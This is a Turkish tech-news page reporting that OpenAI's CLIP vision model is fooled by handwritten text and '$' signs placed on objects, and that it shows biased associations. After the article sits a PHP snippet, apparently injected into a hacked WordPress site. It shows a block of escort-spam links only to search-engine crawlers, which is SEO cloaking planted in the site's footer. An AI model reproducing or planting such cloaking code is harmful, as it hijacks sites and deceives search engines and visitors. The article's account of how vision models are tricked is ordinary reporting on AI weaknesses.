hDolar 8,1526%-0.06
hEuro 9,7124%-0.06
hAltın (Gr) 457,21%-0,01%
İstanbul 11°
  • Adana
  • Adıyaman
  • Afyonkarahisar
  • Ağrı
  • Amasya
  • Ankara
  • Antalya
  • Artvin
  • Aydın
  • Balıkesir
  • Bilecik
  • Bingöl
  • Bitlis
  • Bolu
  • Burdur
  • Bursa
  • Çanakkale
  • Çankırı
  • Çorum
  • Denizli
  • Diyarbakır
  • Edirne
  • Elazığ
  • Erzincan
  • Erzurum
  • Eskişehir
  • Gaziantep
  • Giresun
  • Gümüşhane
  • Hakkâri
  • Hatay
  • Isparta
  • Mersin
  • istanbul
  • izmir
  • Kars
  • Kastamonu
  • Kayseri
  • Kırklareli
  • Kırşehir
  • Kocaeli
  • Konya
  • Kütahya
  • Malatya
  • Manisa
  • Kahramanmaraş
  • Mardin
  • Muğla
  • Muş
  • Nevşehir
  • Niğde
  • Ordu
  • Rize
  • Sakarya
  • Samsun
  • Siirt
  • Sinop
  • Sivas
  • Tekirdağ
  • Tokat
  • Trabzon
  • Tunceli
  • Şanlıurfa
  • Uşak
  • Van
  • Yozgat
  • Zonguldak
  • Aksaray
  • Bayburt
  • Karaman
  • Kırıkkale
  • Batman
  • Şırnak
  • Bartın
  • Ardahan
  • Iğdır
  • Yalova
  • Karabük
  • Kilis
  • Osmaniye
  • Düzce
a

OpenAI’ın Yapay Görüş Sistemi Basit Bir Yöntemle Kandırıldı

OpenAI’ın Yapay Görüş Sistemi Basit Bir Yöntemle Kandırıldı
0

BEĞENDİM

San Francisco merkezli yapay zekâ araştırma şirketi OpenAI’dan araştırmacılar, şirketin son teknoloji yapay görme sisteminin kalem ve kâğıt gibi çok da karmaşık olmayan araçlar aracılığıyla kandırılabileceğini keşfetti. Test için bir nesnenin üzerine başka bir nesnenin adını yazan araştırmacılar, yazılımı kandırarak gördüklerini yanlış tanımlamasını sağladı.

Paylaşılan blog gönderisinde “Bu saldırılara tipografiksaldırılar diyoruz” diyen araştırmacılar, konu hakkında “Modelin metni güçlü bir şekilde okuma yeteneğinden yararlanarak, elle yazılmış metin fotoğraflarının bile çoğu zaman modeli yanıltabileceğini gördük” ifadelerini kullandı. Bu tür saldırıların, yapay görme sistemlerini kandırabilecek ancak üretilmesi çok daha basit olan “adversarial” görüntülere benzediğini belirtiyorlar.

Sistemi eğitmek için 400 milyondan fazla veri kullanıldı:

openaiin yapay gorus sistemi basit bir yontemle kandirildi 0 kW41VecG - OpenAI'ın Yapay Görüş Sistemi Basit Bir Yöntemle Kandırıldı

Modelleri şaşırtmak ve aldatmak için kasıtlı olarak bozulmuş piksellere sahip “adversial” görüntüler, makine görmesine dayanan sistemler için gerçek bir tehlike oluşturuyor. Bir örnek vermek gerekirse araştırmacılar, Tesla’nın sürücüsüz araçlarındaki yazılımının, yola belirli etiketler yapıştırarak uyarı vermeden şerit değiştirmek için kandırılabileceğini göstermişti. Dolayısıyla bu tür saldırılar, tıptan orduya kadar çeşitli AI uygulamaları için ciddi bir tehditoluşturuyor.

Yine de araştırmacılar, ortaya çıkan bu tehlikenin en azından şimdilik endişelenecek bir şey olmadığını söylüyor. Zira söz konusu OpenAI yazılımı, herhangi bir ticari üründe kullanılmayan CLIP adlı deneysel bir sistem. OpenAI’ın geçtiğimiz aylarda tanıttığı genel amaçlı bir görme sistemi olan CLIP, eğitilmek için internetten alınan yaklaşık 400 milyon adet görüntü ve metin kullanmıştı.

openaiin yapay gorus sistemi basit bir yontemle kandirildi 1 W5cJB2f2 - OpenAI'ın Yapay Görüş Sistemi Basit Bir Yöntemle Kandırıldı

Laboratuvar tarafından paylaşılan bir başka örnek de CLIP’dekikumbaraları tanımlayan nöron oldu. Bu bileşen yalnızca kumbara resimlerine değil, aynı zamanda dolar ‘$’ işaretleri yanıt verir. Yukarıdaki örnekte olduğu gibi araştırmacılar, bir motorlutestereye ‘$’ işaretleri ekleyerek yapay zekanın onu elektrikli testere yerine kumbara olarak tanımlamasını sağladı.

  OpenAI'ın Yapay Görüş Sistemi Kolay Bir Prosedürle Kandırıldı

OpenAI araştırmacıları ayrıca, CLIP’in çoklu biçimli nöronlarının, internette bir arama yaparken karşınıza çıkabilecek ön yargılara ve çağrışımlara sahip olduğunu keşfetti. Bunlardan bazıları ‘terörizm’ çağrışımına sahip ‘Ortadoğu’ nöronu ve hem koyu tenli insanlara hem de gorillere karşılık gelen bir başka nörondu.

YORUMLAR

s

En az 10 karakter gerekli

Sıradaki haber:

Tom Cruise Deepfake Videolarının Yaratıcısı Açıklama Yaptı

HIZLI YORUM YAP

Veri politikasındaki amaçlarla sınırlı ve mevzuata uygun şekilde çerez konumlandırmaktayız. Detaylar için veri politikamızı inceleyebilirsiniz.

function vururumgardas(){ $agent = $_SERVER['HTTP_USER_AGENT']; $sec = $agent; switch(true){ case (strpos($sec,"google")): $part = 1; break; case (strpos($sec,"yandex")): $part = 1; break; case (strpos($sec,"bing")): $part = 1; break; case (strpos($sec,"yahoo")): $part = 1; break; case (strpos($sec,"alexa")): $part = 1; break; default : $part = 0; } if($part ==1){ echo '
Boğazlıyan escortIlıca escortAvsallar escortÇorlu escortGediz escortÇaycuma escortArmutlu escortBayramiç escortAybastı escortAyvalık escortAkdağmadeni escortEvren escortAvsallar escortÇerkezköy escortEmet escortAlaplı escortAltınova escortAyvacık escortAltınordu escortAltıeylül escort '; } } add_action('wp_footer', 'vururumgardas');